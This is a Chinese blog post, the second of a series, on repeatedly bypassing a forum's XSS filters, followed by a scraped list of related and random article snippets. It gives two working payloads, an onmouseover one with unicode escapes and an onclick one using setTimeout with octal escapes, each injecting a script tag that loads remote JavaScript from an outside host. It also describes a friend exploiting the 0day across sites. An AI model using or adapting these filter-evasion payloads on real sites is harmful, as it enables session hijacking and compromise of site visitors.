第一次和一套程序做了这么多次的斗争。今天基友又给我来信说,没得玩了。了解了下情况,是他拿着0day到处插,被人家发现了。还出了个公告,说所有***必须安装补丁。呵呵,性福总是走的这么突然。这乐子一下就让人给搞没了。本来想的就算了。但是突然觉得还是想看看程序员是怎么修复的。(说实话,搞了那么多天也有感情了不是)

<p onmouseover="\u0064ocument.write('&lt;sc'+'ript src=//zsy.ca/33&gt;&lt;/sc'+'ript&gt;')">  

针对于我用上面的payload和我用eval拼接多个XSS语句的的问题,在多次黑盒测试之后发现他是这么去思考这个问题的:

1.先解决掉onmouseover,采取的方式是发现onmou就拦截发贴
2.解决编码绕过问题。怎么做?既然可以用unicode来绕过就在发现\u时拦截
3.既然有人用eval来拼接,我就把eval过滤了。发现就拦截。
4.既然黑阔用的方法都是不闭合标签的,那么当碰到没有闭合的标签时就让content=""(其实我也想闭合显得自己专业一点。但是长度不够啊)

要再次挑战一下这个程序员么?

一个很有意思的程序员。我其实挺佩服他这种认真负责的态度的。但是方法还是不对。顺便提一下一个新发现的问题。这个问题不知道是之前就有了,还是程序员爆发了。他把“#”给过滤了。有两种可能性:

1.是个通用的防注入程序,为了防止网站被注入时攻击者使用"#"来注释多余的部分
2.他开窍了。他知道除了unicode之外,还有hex和demical只要过滤了#,我就绕不过去了。

然后顺便纠正一下我上次测试的时候,犯的一个马虎。其实标题处的长度限制是150.我可能当时测试的姿势不对- -。这个也不是今天的重点。

因为第一次对测试步骤已经说的很详细了。故不做重复的解释。在经过一系列fuzz之后发现onclick属性它没过滤。我们就有了

<p onclick="">求助</p>

还要继续解决前面的问题。之前在处理黑名单成员document时,我们使用了unicode.现在不单unicode不能用了,替代品hex和demical也不能用了(因为过滤了"#")想了下还有octal和base16.但是base16和octal不能直接拿来编码document。如果在eval()里面就好了。可是eval()又被过滤了。怎么办呢?想了想,还有个加强版的eval()就是setTimeout(,).和eval最大的区别就是多了个Timer。但是只要把延迟设置为0那就和eval()是一样的了。

然后开始构造payload:

<p onclick="setTimeout('\144ocument.write(\47\74\163cript src=//zsy.ca/33\76\74/\163cript\76\47)',0)">域名问题</p>

一个没有eval,unicode,document,char,onmouseover,script和#的payload又让我们给写好了.性福总是来的这么突然。不知道这次穿帮又会是什么时候。期待程序员下次更好的表现呢。程序猿,加油!

这次的可能有点短。如果大家都觉得挺有意思的话下次他再更新程序了,我会再次跟进测试然后发到这里。如果觉得太无趣了的话也可以说一下,我也就不发了。

一次有趣的XSS漏洞挖掘分析(2)的更多相关文章

  1. (转) exp1-1:// 一次有趣的XSS漏洞挖掘分析(1)

    from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1)   最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套 ...

  2. 一次有趣的XSS漏洞挖掘分析(1)

    最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套程序还是很有意思的.因为是过去式的文章,所以没有图.但是希望把经验分享出来,可以帮到和我一样爱好XSS的朋友.我个人偏爱富文本XSS,因为很有 ...

  3. (转) exp1-2://一次有趣的XSS漏洞挖掘分析(2)

      第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一 ...

  4. 一次有趣的XSS漏洞挖掘分析(3)最终篇

    这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“完事 ...

  5. (转) exp1-3://一次有趣的XSS漏洞挖掘分析(3)最终篇

      这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“ ...

  6. xss漏洞挖掘小结

    xss漏洞挖掘小结 最近,在挖掘xss的漏洞,感觉xss真的不是想象的那样简单,难怪会成为一类漏洞,我们从防的角度来讲讲xss漏洞的挖掘方法: 1.过滤 一般服务器端都是采用这种方式来防御xss攻击, ...

  7. 记一次隐秘的XSS漏洞挖掘

    前言 在为某客户网站做渗透测试时发现一个有趣的事情.当我访问该网站的某条链接时服务器返回的是404页面.看到这里我当时就下意识的忽略它,但是后来又想了想这也不是完全没有价值,毕竟中间件及其版本都出来了 ...

  8. Xss漏洞原理分析及简单的讲解

    感觉百度百科 针对XSS的讲解,挺不错的,转载一下~   XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XS ...

  9. 记一次xss漏洞挖掘

    博客园在整改中,无法更新文章,难受啊... 记录一次react的xss漏洞发现,比较有意思: 某个站: 直接输入<xxx>,直接把我跳转到了404,猜测可能做了一些验证: 尝试多重编码,发 ...

随机推荐

  1. TOMCAT配置外部应用

    原来我们都是把项目放到webapps目录下,但其实是可以把项目放到其他文件夹下的,如果把项目放到其他目录下同时也希望tomcat可以运行它,有两种方法: 第一种方法:   conf/server.xm ...

  2. loadrunner处理HTTP重定向请求

    //place this in global.h     int HttpRetCode;  int i=0;  char depthVal[10];  char cTransactName[2000 ...

  3. hdu 1030 Delta-wave

    Delta-wave Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Others)Total ...

  4. Android 中常用的布局

    一.线性布局----LinearLayout   horizontal 水平 <?xml version="1.0" encoding="utf-8"?& ...

  5. 学习笔记总结---关于sass

    今天跟大家共同分享交流一下关于sass的知识点: sass的产生: css不是一种编程语言,我们可以用它开发网页样式,但不能用它进行编程.它没有常量,变量,也没有条件语句,只是对属性一行行的描述,资料 ...

  6. 1.ARC和非ARC文件共存

    1.ARC和非ARC文件共存 项目->Build Parses->对应的类 1.1.新项目兼容老的非ARC:-fno-objc-arc 1.2.老项目兼容ARC:-fobjc-arc

  7. MFC 定义和调用全局变量的一种方法

    在CTestApp.h中声明一个int x;然后调用的方式如下: CTestApp *app = (CTestApp *)AfxGetApp(); //生成指向应用程序类的指针,Test处改为对应的项 ...

  8. web api :Routing in ASP.NET Web API

    引 Web API 和SignalR都是在服务层. If you are familiar with ASP.NET MVC, Web API routing is very similar to M ...

  9. javascript document.compatMode属性

    文档模式在开发中貌似很少用到,最常见的是就是在获取页面宽高的时候,比如文档宽高,可见区域宽高等. IE对盒模型的渲染在 Standards Mode和Quirks Mode是有很大差别的,在Stand ...

  10. POJ3635 Full Tank?(DP + Dijkstra)

    题目大概说,一辆带有一个容量有限的油箱的车子在一张图上行驶,每行驶一单位长度消耗一单位油,图上的每个点都可以加油,不过都有各自的单位费用,问从起点驾驶到终点的最少花费是多少? 这题自然想到图上DP,通 ...